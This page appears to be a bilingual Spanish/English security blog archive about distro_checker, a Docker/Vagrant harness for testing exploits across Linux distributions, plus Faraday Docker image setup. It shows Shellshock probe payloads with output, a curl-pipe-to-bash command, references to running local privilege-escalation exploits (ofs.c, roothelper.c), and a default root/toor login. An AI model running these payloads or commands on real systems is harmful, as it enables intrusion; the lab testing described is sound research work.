‏إظهار الرسائل ذات التسميات docker. إظهار كافة الرسائل
‏إظهار الرسائل ذات التسميات docker. إظهار كافة الرسائل

الخميس، 17 سبتمبر 2015

Cross Distribution Exploit Testing: 2da Parte.

El mes pasado publicamos el siguiente post junto con la herramienta:
http://github.com/infobyte/distro_checker

Una de las cosas que nos limitaba la primer version es que trabajabamos utilizando Docker. No todas las vulnerabilidades podían ser probadas utilizando esta herramienta ya que problemas relaciones con kernel no pueden ser explotados porque docker no es una sistema de virtualización  es en pocas palabras un chroot con esteroides.

Hicimos nuevos cambios para incorporar ademas Vagrant de esta manera podemos probar cualquier tipo de vulnerabilidades ya que seria un entorno de virtualización completo.

Ejemplo:
El siguiente comando ejecutaría el comando id dentro de las distintas VMs especificadas en el variable "distros"

./vagrant_build.py -c id

Correría ese comando en las siguientes distros

distros = [
           {'name' :'centos/7',
            'url':'https://atlas.hashicorp.com/centos/7',
            'provider':'virtualbox'},

           {'name' :'ubuntu/vivid64',
            'url':'https://atlas.hashicorp.com/ubuntu/vivid64',
            'provider':'virtualbox'},

           {'name' :'ubuntu/trusty64',
            'url':'https://atlas.hashicorp.com/ubuntu/trusty64',
            'provider':'virtualbox'},
                                    
           {'name' :'debian/jessie64',
            'url':'https://atlas.hashicorp.com/debian/jessie64',
            'provider':'virtualbox'},

           {'name' :'debian/wheezy64',
            'url':'https://atlas.hashicorp.com/debian/wheezy64',
            'provider':'virtualbox'},
          ]

Demo:
En la siguiente demo utilizamos el exploit ofs.c para la vulnerabilidad CVE-2015-1328 en distintas distribuciones de Ubuntu:

https://atlas.hashicorp.com/sincerely/trusty64
https://atlas.hashicorp.com/puphpet/ubuntu1204-x64
https://atlas.hashicorp.com/ubuntu/trusty64

Usamos otros repositorios salvo el ultimo ya que Ubuntu actualiza los últimos parches en su VM
Esta nueva version se encuentra disponible en
http://github.com/infobyte/distro_checker

Clean:
No se olviden de tener en cuenta los siguientes comandos para realizar limpieza

$ vagrant box list  #lista de vms en nuestro repositorio local
$ vagrant box remove "vmname" #elimina la vm especificada
$ vagrant destroy #elimina vm del directorio local, si por algún problema cancelamos la ejecución de vagrant_build.py recomendamos correr este comando ya que es posible que haya quedado una VM en su repositorio.

Adicionalmente esta herramienta se puede también utilizar (como estamos haciendo en nuestro caso), para hacer pruebas de cross distribution testing sobre funcionalidades, instalación, setup de Faraday en distintos ambientes.

Espero que les sea de utilidad!
Saludos

Cross Distribution Exploit Testing: 2 Part


Last month we published a post about a tool we were using:
http://github.com/infobyte/distro_checker

One of the things that limited us a bit the first time around was that we were working with Docker. Not all the vulnerabilities can be tested using the first version of the tool, because kernel's related problems can't be exploited inside Docker.

To improve upon this, we made some changes and we incorporated Vagrant, which lets us try basically any vulnerability as we already have a complete virtual environment.

Example:
In the following example, we would execute the "id" command within the different VMs, specifying the variable "distros".

./vagrant_build.py -c id

We have to run this command in the following distros:

distros = [
           {'name' :'centos/7',
            'url':'https://atlas.hashicorp.com/centos/7',
            'provider':'virtualbox'},

           {'name' :'ubuntu/vivid64',
            'url':'https://atlas.hashicorp.com/ubuntu/vivid64',
            'provider':'virtualbox'},

           {'name' :'ubuntu/trusty64',
            'url':'https://atlas.hashicorp.com/ubuntu/trusty64',
            'provider':'virtualbox'},
                                    
           {'name' :'debian/jessie64',
            'url':'https://atlas.hashicorp.com/debian/jessie64',
            'provider':'virtualbox'},
           {'name' :'debian/wheezy64',
            'url':'https://atlas.hashicorp.com/debian/wheezy64',
            'provider':'virtualbox'},
          ]

Demo:
In the following demo we will use the exploit ofs.c for the vulnerability CVE-2015-1328 in different distributions of Ubuntu:

https://atlas.hashicorp.com/sincerely/trusty64
https://atlas.hashicorp.com/puphpet/ubuntu1204-x64
https://atlas.hashicorp.com/ubuntu/trusty64

We are going to use other repositories except for the last one as Ubuntu already has the last parches in its VM.
This new version we can find in
http://github.com/infobyte/distro_checker

Clean:
After a few tests, it's important not forget the following commands so you can do cleanings:

$ vagrant box list  #list of vms in our local repository
$ vagrant box remove "vmname" #eliminates the specific vm
$ vagrant destroy #eliminates vm for the local directory, if por some reason we were to cancel the executtion of vagrant_build.py, we recommend running this command as it possible that there still is a VM in the repository.


This tool can also be used (like we did in our case) for doing cross distribution testing for functionalities, installation and for setting up Faraday in different environments

Hopefully you found this useful.
Best,

الاثنين، 24 أغسطس 2015

Official Faraday Docker Images

Docker


A couple weeks ago we did another post where we talked a bit about Docker.

As we had said before, we are already using Docker as a platform for testing our installation process for our product Faraday

We thought it might be useful for everyone to put together an official image of Docker. For that we are going to base our image in Ubuntu 14.10 which by default comes with Faraday, CoudbDB, and SSH all pre-configured. The username is root and the password toor.


 Starting-up Faraday

root@isrlab:~/dev# docker run -t -i infobyte/faraday /root/run.sh



With this command, we start by running the container with Faraday connecting it to couchdb with a test workspace, with the name "workspace".
Faraday is started with ./faraday.py -gui=no-gui --update without a graphic environment, it is going to start trying to update Faraday to the newest version in the github repository. 

To obtain the IP direction of the container:
root@isrlab:~/dev# docker inspect $(docker ps -lq) | grep \"IPAddress
"IPAddress": "172.17.0.62",


Interface Web-UI:

Directing the browser to http://172.17.0.62/reports/_design/reports/index.html you will be able to access Faraday's Web-UI.




Interface ZSH:

To start to execute commands, we can utilize the ZSH interface, to do this everyone should connect to the SSH with the username root and the password toor.
root@isrlab:~/dev# ssh root@172.17.0.62
root@172.17.0.62's password:
root@250f83a02a3a:~# cd faraday/
root@250f83a02a3a:~/faraday# ./faraday-terminal.zsh
>>> WELCOME TO FARADAY
[+] Current Workspace: workspace
[+] API: OK
[faraday](workspace) 250f83a02a3a# ping 127.0.0.1
[faraday](workspace) 250f83a02a3a# ping 127.0.0.1 >&1 > /root/.faraday/zsh/output/09cfbbb7-ab8a-44ca-9a64-9128029d8f41.output && python2 /root/.faraday/zsh/plugin_controller_client.py send_output cGluZyAxMjcuMC4wLjE= "/root/.faraday/zsh/output/09cfbbb7-ab8a-44ca-9a64-9128029d8f41.output"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.059 ms
[faraday](workspace) 250f83a02a3a#

Interface QT GUI:

To work with the QT GUI we should start running docker another way:

root@isrlab:~/dev# docker run infobyte/faraday /root/run_service.sh

In another console we should run:
To get the IP direction of the container: 
root@isrlab:~/dev# docker inspect $(docker ps -lq) | grep \"IPAddress
"IPAddress": "172.17.0.62",

root@isrlab:~/dev# ssh -X root@172.17.0.62
root@172.17.0.62's password:
root@250f83a02a3a:~# cd faraday/
root@250f83a02a3a:~/faraday# ./faraday.py

* To execute commands, it is important to keep in mind that the tools should be installed inside of the Docker.


Importing reports:

Additionally when executing the commands, one way to incorporate information to the Faraday platform is copying the tools' output reports.
To go about this, we need to copy, for example, output_nmap.xml to $HOME/.faraday/report/[workspace_name]
Once this has been interpreted and incorporated to the data base, the report is copied to $HOME/.faraday/report/[workspace_name]/process

This we can do by copying the reports to the containers via sftp or we can use a file sharing function between the host server and containers.

Let's check out an example:
root@isrlab:~/dev# mkdir -p /tmp/workspace/process #We need to create a structure of the valid directories 

We start running a container sharing the directory of the host server /tmp/workspace in /root/.faraday/report/workspace/
/root/.faraday/report/workspace/
root@isrlab:~/dev# docker run -t -i -v /tmp/workspace/:/root/.faraday/report/workspace/ infobyte/faraday /root/run.sh
Now we can start using the tools inside the host server and this is going to be interpreted as if it were inside the container for Faraday in the workspace called "workspace"
root@isrlab:~/dev# nmap localhost -xO /tmp/workspace/output_nmap.xml

We are able to copy all types of reports supported by Faraday (+ 40 plugins supported) root@isrlab:~/dev# cp /root/reports/nessusscan.nessus /tmp/workspace/

We hope you thought this was helpful!
Best!





الأحد، 23 أغسطس 2015

Imagen oficial de Faraday en Docker

Docker

Hace unas semanas estuvimos comentando en otro post sobre Docker

Hoy en día estamos utilizando docker como plataforma para testing de nuestro proceso de instalación en Faraday

Nos pareció muy interesante armar una imagen oficial de docker.  Para esto nos basamos en Ubuntu 14.10 por defecto viene con Faraday, CouchDB, SSH pre-configurado, Usuario root password toor

Inicializando Faraday:

root@isrlab:~/dev# docker run -t -i infobyte/faraday /root/run.sh



Con este comando inicializamos el container con Faraday conectado a couchdb con un workspace de prueba "workspace"
Faraday es inicializado con ./faraday.py -gui=no-gui --update sin entorno grafico, va intentar actualizar la ultima version desde el repositorio de git

Obtener la dirección ip del container:
root@isrlab:~/dev# docker inspect $(docker ps -lq) | grep \"IPAddress
"IPAddress": "172.17.0.62",

Interface Web-UI:

Apuntando el navegador http://172.17.0.62/reports/_design/reports/index.html pueden acceder a la Web-UI de Faraday.


Interface ZSH:

Para empezar a ejecutar comandos podemos utilizada la interfase ZSH, para esto deben conectarse por SSH usuario root password toor
root@isrlab:~/dev# ssh root@172.17.0.62
root@172.17.0.62's password:
root@250f83a02a3a:~# cd faraday/
root@250f83a02a3a:~/faraday# ./faraday-terminal.zsh
>>> WELCOME TO FARADAY
[+] Current Workspace: workspace
[+] API: OK
[faraday](workspace) 250f83a02a3a# ping 127.0.0.1
[faraday](workspace) 250f83a02a3a# ping 127.0.0.1 >&1 > /root/.faraday/zsh/output/09cfbbb7-ab8a-44ca-9a64-9128029d8f41.output && python2 /root/.faraday/zsh/plugin_controller_client.py send_output cGluZyAxMjcuMC4wLjE= "/root/.faraday/zsh/output/09cfbbb7-ab8a-44ca-9a64-9128029d8f41.output"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.059 ms
[faraday](workspace) 250f83a02a3a#

Interface QT GUI:

Para trabajar con la QT GUI deberíamos inicializar de otra manera el docker:

root@isrlab:~/dev# docker run infobyte/faraday /root/run_service.sh

En otra consola corremos:
Obtener la dirección ip del container:
root@isrlab:~/dev# docker inspect $(docker ps -lq) | grep \"IPAddress
"IPAddress": "172.17.0.62",

root@isrlab:~/dev# ssh -X root@172.17.0.62
root@172.17.0.62's password:
root@250f83a02a3a:~# cd faraday/
root@250f83a02a3a:~/faraday# ./faraday.py

* Para ejecutar comandos tienen que tener en cuenta que las herramientas deben instalarlas dentro del docker

Importing reports:

Adicionalmente a la ejecución de comandos una forma de incorporar información a la plataforma de Faraday es copiando output reports de las herramientas.
Para esto tenemos que copiar por ejemplo output_nmap.xml a $HOME/.faraday/report/[workspace_name]
Una vez interpretado e incorporado a la base de conocimiento el report es copiado a $HOME/.faraday/report/[workspace_name]/process

Esto lo podemos hacer copiando los reports al containers via sftp o podemos utilizar una funcionalidad de file sharing entre equipo host y containers

Veamos un ejemplo:
root@isrlab:~/dev# mkdir -p /tmp/workspace/process #Creamos estructura de directorios valida

Inicializamos un container compartiendo el directorio del equipo host /tmp/workspace en /root/.faraday/report/workspace/
/root/.faraday/report/workspace/
root@isrlab:~/dev# docker run -t -i -v /tmp/workspace/:/root/.faraday/report/workspace/ infobyte/faraday /root/run.sh
Ahora podemos utilizar las herramientas en el equipo host y esto va ser interpretado dentro del container por Faraday en el workspace llamado "workspace"
root@isrlab:~/dev# nmap localhost -xO /tmp/workspace/output_nmap.xml

Podemos copiar cualquier report soportado por Faraday (+ 40 plugins soportados)
root@isrlab:~/dev# cp /root/reports/nessusscan.nessus /tmp/workspace/

Esperamos que sea de gran utilidad!
Saludos!




الاثنين، 27 يوليو 2015

Cross Distribution Exploit Testing [SPANISH]

Introducción:

Buscando una manera fácil de hacer testing sobre el proceso de instalación de Faraday
http://github.com/infobyte/faraday en distintas distribuciones.


Es uno de los procesos mas complicados y críticos de una herramienta. Es importante que el proceso sea fácil y funcione sin inconvenientes para que los usuarios solo se dediquen a usar la herramienta y no pierdan tiempo valioso en la instalación.

Gracias a esto nos topamos con Docker es similar a un chroot con esteroides.

Docker es un proyecto que automatiza el despliegue de aplicaciones dentro de contenedores de software, proporcionando una capa adicional de abstracción y automatización de virtualización a nivel de sistema operativo en Linux. Docker utiliza características de aislamiento de recursos del kernel de Linux, tales como cgroups y namespaces para permitir que "contenedores" independientes se ejecuten dentro de una sola instancia de Linux, evitando la sobrecarga de iniciar y mantener máquinas virtuales.

El proceso que desarrollamos es bastante simple tomando una lista de distribuciones:

  1. Generamos un docker
  2. Instalamos Faraday
  3. Nos conectamos por SSH al container exportando la X y ejecutamos la aplicación grafica (GUI QT)

Si alguno de los procesos fallaba, evaluamos cual fue el problema y efectuábamos el patch correspondiente.

Este proceso hoy es utilizado dentro de nuestro sistema de integración continua.

Cross Distribution Exploit Testing:


Utilizando esta misma implementación podemos usarlo para realizar una pruebas de explotación en distintas distribuciones para evaluar distintos escenarios y lograr que nuestros exploits sean mas robustos :)
No todas las vulnerabilidades pueden ser probadas utilizando esta tool ya que problemas relaciones con kernel no pueden ser explotados porque docker no es un sistema de virtualización, vulnerabilidades simples como file permission, file race condition, environment variable code injection, etc.

La herramienta contiene los siguientes elementos:
  • docker_build.py: Este script se encarga de generar las imagenes de cada distribución y dispara docker_launch.py.
  • docker_launch.py: Es el que finalmente se conecta conecta por SSH y ejecuta nuestro comando en el container seleccionado.
  • images.txt: Lista de imagenes a utilizar.
  • extras/: Librerias y Dockerfile fija base que se usa para la generación de las imagenes
  • root/: Aquí se encuentran claves privadas para la conexión de ssh, solo necesario para pruebas de GUI

Caso 1 - Shellshock

Un ejemplo simple para probar es shellshock:

$ ./docker_build.py -c "env x='() { :;}; echo vulnerable' bash -c \\\"echo this is a test\\\""
Start build docker: debian:7.3
..
Run build docker: debian:7.3, id: fae1bc04-b514_debian:7.3
./docker_launcher.py -c 'env x='() { :;}; echo vulnerable' bash -c \"echo this is a test\"' -t fae1bc04-b514_debian:7.3
['ssh', '-i', '/root/dev/distro_checker/extras/docker/faraday-docker.prv', '-t', '-t', '-oStrictHostKeyChecking=no', '-o UserKnownHostsFile=/dev/null', '-o LogLevel=quiet', '-X', u'root@172.17.0.93', 'env x=\'() { :;}; echo vulnerable\' bash -c "echo this is a test"']
vulnerable
this is a test
Run build docker: ubuntu:14.10, id: a07132a4-af14_ubuntu:14.10
./docker_launcher.py -c 'env x='() { :;}; echo vulnerable' bash -c \"echo this is a test\"' -t a07132a4-af14_ubuntu:14.10
['ssh', '-i', '/root/dev/distro_checker/extras/docker/faraday-docker.prv', '-t', '-t', '-oStrictHostKeyChecking=no', '-o UserKnownHostsFile=/dev/null', '-o LogLevel=quiet', '-X', u'root@172.17.0.94', 'env x=\'() { :;}; echo vulnerable\' bash -c "echo this is a test"']
this is a test

Esto creo 2 imagenes (debian7.3, ubuntu 14.10) y por cada imagen ejecuto el exploit de CVE-2014-6271

Podemos utilizar un script para tenerlo mas ordenado:
$ ./docker_build.py -c "cd build && ./shellshocker.sh" #docker_build.py copia en la imagen todo el contenido de "." en directorio ./root/build
Run build docker: debian:7.3, id: 75b78a22-03a1_debian:7.3
CVE-2014-6271 (original shellshock): VULNERABLE
./shellshock_test2.sh: line 17:    29 Segmentation fault      shellshocker="() { x() { _;}; x() { _;} <<a; }" bash -c date 2> /dev/null
CVE-2014-6277 (segfault): VULNERABLE
CVE-2014-6278 (Florian's patch): VULNERABLE
CVE-2014-7169 (taviso bug): VULNERABLE
CVE-2014-7186 (redir_stack bug): not vulnerable
CVE-2014-7187 (nested loops off by one): not vulnerable
CVE-2014-//// (exploit 3 on http://shellshocker.net/): not vulnerable

También alguna implementación mas automatizada, con la excepción que usamos la opcion -i para pasarle una lista de images a ejecutar.

$ ./docker_build.py -c "curl https://shellshocker.net/shellshock_test.sh | bash" -i images.txt

En caso de querer volver a probar algo especifico sobre algún container basta con correr:
$ docker ps -a #verificar cual es la image generada y utilizarla con docker_launcher en la opción -t
$ ./docker_launcher.py -c "whoami" -t c92d6bf7-d559_debian:7.3

Caso 2: Redhat Local Privilege Escalation CVE-2015-(3245,3246):


Hace pocos días publicaron dos vulnerabilidades que pueden ser utilizadas para elevación local de privilegios en Redhat 6 y 7.

CVE-2015-3245 userhelper chfn() newline filtering
CVE-2015-3246 libuser passwd file handling

Probemos esta vulnerabilidades en las siguientes distribuciones rhel6.5', 'rhel7.0', 'rhel7.1', 'fedora:20 :

$ ./docker_build.py -i redhat_images.txt  -d extras/docker/Dockerfile.redhat -c id # En este caso utilizamos un Dockfile especial que ejecuta directamente el exploit (roothelper.c)

Distros: ['rhel6.5', 'rhel7.0', 'rhel7.1', 'fedora:20']
Start build docker: rhel6.5
...
Red Hat Enterprise Linux Server release 6.5 (Santiago)
CVE-2015-(3245,3246): VULNERABLE
...
Start build docker: rhel7.0
Red Hat Enterprise Linux Server release 7.0 (Maipo)
CVE-2015-(3245,3246): VULNERABLE
...
Start build docker: rhel7.1
Red Hat Enterprise Linux Server release 7.1 (Maipo)
CVE-2015-(3245,3246): VULNERABLE
...
Start build docker: fedora:20
Fedora release 20 (Heisenbug)
CVE-2015-(3245,3246): Not vulnerable
...

Demo:


Clean:


Después de varias pruebas no olvidemos parar los containers y borrarlos:
$ docker stop $(docker ps -a -q)
$ docker rm $(docker ps -a -q)

De ser necesario también las imagenes:
$ docker rmi $(docker images -q)

Tool:

El código se encuentra disponible en github en:
http://github.com/infobyte/docker_build

To-Do:

Realiza un proceso similar utilizando Vagrant de esta manera podríamos probar cualquier tipo de vulnerabilidades ya que seria un entorno de virtualización completo.

Espero que les ayude para realizar exploits mas robustos y tal vez algún developer para probar su herramienta frente a distintas distribuciones.

Gracias Andres por la ayuda!


Cross Distribution Exploit Testing

Introduction:

We were looking for an easy way to do testing for the installation of our tool, Faraday
https://github.com/infobyte/faraday with different distributions.

We wanted to do this because the installation process is normally one of the most complicated and critical processes of any new tool being implemented. It is important that the process is easy and that everything works without any hiccups so that users can get started using the tool ASAP and don't lose valuable time during the installation and set-up.

What we ended up finding to suit our needs was Docker, which is pretty similar to a chroot, but on large amounts of steroids.

Docker is a tool that automates the deployment of applications inside software containers, by providing an additional layer of abstraction and automation of operating-system-level virtualization on Linux. Docker uses resource isolation features of the Linux kernel such as cgroups and kernel namespaces to allow independent "containers" to run within a single Linux instance, avoiding the overhead of starting and maintaining virtual machines

The process we developed is pretty simple, in which we use a simple list of distributions.
  1. We generate a Docker
  2. We install Faraday
  3. We connect using the SSH to the container, exporting the X and we execute the graphic application (GUI QT)
If one of the processes doesn't work, we can evaluate what was the cause of the problem and we make a corresponding patch to remedy the problem .

We are using this process daily in our own continuous-integration system.

Cross Distribution Exploit Testing:


Using the same implementation, we can use it to do some exploitation tests in different distributions. This allows us to evaluate different scenarios and hopefully helps us make our exploits a bit more robust :)

Not all the vulnerabilities can be tested using this tool, because kernel's related problems can
't be exploited because Docker isn't a virtualization system. This includes a few simple vulnerabilities such as file permission, file race condition, environment variable code injection, etc.

The tool contains the following elements:
  • docker_build.py: This script function is to generate images of each distribution and run docker_launch.py.
  • docker_launch.py: This is the one that finally connects through the SSH and executes our command in the selected container.
  • images.txt: A list of images to use
  • extras/: Libraries and base Dockerfile used for generation of the images.
  • root/: Here, we find private keys for the ssh connection, which are necessary for testing out the GUI tests.

Case 1 - Shellshock:


A simple example to try would be shellshock:

$ ./docker_build.py -c "env x='() { :;}; echo vulnerable' bash -c \\\"echo this is a test\\\""

Start build docker: debian:7.3
..
Run build docker: debian:7.3, id: fae1bc04-b514_debian:7.3
./docker_launcher.py -c 'env x='() { :;}; echo vulnerable' bash -c \"echo this is a test\"' -t fae1bc04-b514_debian:7.3
['ssh', '-i', '/root/dev/distro_checker/extras/docker/faraday-docker.prv', '-t', '-t', '-oStrictHostKeyChecking=no', '-o UserKnownHostsFile=/dev/null', '-o LogLevel=quiet', '-X', u'root@172.17.0.93', 'env x=\'() { :;}; echo vulnerable\' bash -c "echo this is a test"']
vulnerable
this is a test
Run build docker: ubuntu:14.10, id: a07132a4-af14_ubuntu:14.10
./docker_launcher.py -c 'env x='() { :;}; echo vulnerable' bash -c \"echo this is a test\"' -t a07132a4-af14_ubuntu:14.10
['ssh', '-i', '/root/dev/distro_checker/extras/docker/faraday-docker.prv', '-t', '-t', '-oStrictHostKeyChecking=no', '-o UserKnownHostsFile=/dev/null', '-o LogLevel=quiet', '-X', u'root@172.17.0.94', 'env x=\'() { :;}; echo vulnerable\' bash -c "echo this is a test"']
this is a test

This creates 2 images (debian7.3, ubuntu 14.10) and for each image, you have to execute the exploit  CVE-2014-6271

 We can utilize a script to make it a little more organized;

$ ./docker_build.py -c "cd build && ./shellshocker.sh" #docker_build.py copy in the images all the content "." in the directory ./root/build
Run build docker: debian:7.3, id: 75b78a22-03a1_debian:7.3
CVE-2014-6271 (original shellshock): VULNERABLE
./shellshock_test2.sh: line 17:    29 Segmentation fault      shellshocker="() { x() { _;}; x() { _;} <<a; }" bash -c date 2> /dev/null
CVE-2014-6277 (segfault): VULNERABLE
CVE-2014-6278 (Florian's patch): VULNERABLE
CVE-2014-7169 (taviso bug): VULNERABLE
CVE-2014-7186 (redir_stack bug): not vulnerable
CVE-2014-7187 (nested loops off by one): not vulnerable
CVE-2014-//// (exploit 3 on http://shellshocker.net/): not vulnerable

Also, for a more automated implementation, with the exception that we use the option -i in order to go to a list of images to execute.

$ ./docker_build.py -c "curl https://shellshocker.net/shellshock_test.sh | bash" -i images.txt

In case you want to try testing again something specific for a container all you need to do is run:

$ docker ps -a # verify which is the image generated and use this id with docker_launcher in the option -t

$ ./docker_launcher.py -c "whoami" -t c92d6bf7-d559_debian:7.3


Case 2: Redhat Local Privilege Escalation CVE-2015-(3245,3246):


Last week two vulnerabilities were released that can be use to do a local privilege escalation on
redhat 6 and 7:

CVE-2015-3245 userhelper chfn() newline filtering
CVE-2015-3246 libuser passwd file handling

Let's try again the tool against this vulnerability in the following distribution rhel6.5', 'rhel7.0', 'rhel7.1', 'fedora:20 :

$ ./docker_build.py -i redhat_images.txt  -d extras/docker/Dockerfile.redhat -c id # In this scenario I directly use a specific dockerfile that runs the exploit (roothelper.c)

Distros: ['rhel6.5', 'rhel7.0', 'rhel7.1', 'fedora:20']
Start build docker: rhel6.5
...
Red Hat Enterprise Linux Server release 6.5 (Santiago)
CVE-2015-(3245,3246): VULNERABLE
...
Start build docker: rhel7.0
Red Hat Enterprise Linux Server release 7.0 (Maipo)
CVE-2015-(3245,3246): VULNERABLE
...
Start build docker: rhel7.1
Red Hat Enterprise Linux Server release 7.1 (Maipo)
CVE-2015-(3245,3246): VULNERABLE
...
Start build docker: fedora:20
Fedora release 20 (Heisenbug)
CVE-2015-(3245,3246): Not vulnerable
...

Demo:


Clean:


After a few tests, it's important not forget to stop the containers and delete them:

$ docker stop $(docker ps -a -q)
$ docker rm $(docker ps -a -q)

You have to for the images as well:
$ docker rmi $(docker images -q)

Tool:

The code can be found on github:
http://github.com/infobyte/distro_checker

To-Do:

Doing a similar process using Vagrant, we would be able to try out all kinds of vulnerabilities, as that would be a complete virtualization setting.

We hope this helps everyone in the need test their tools across a wide range of  distributions, from researchers to developers their code.

Thanks Andres for the support!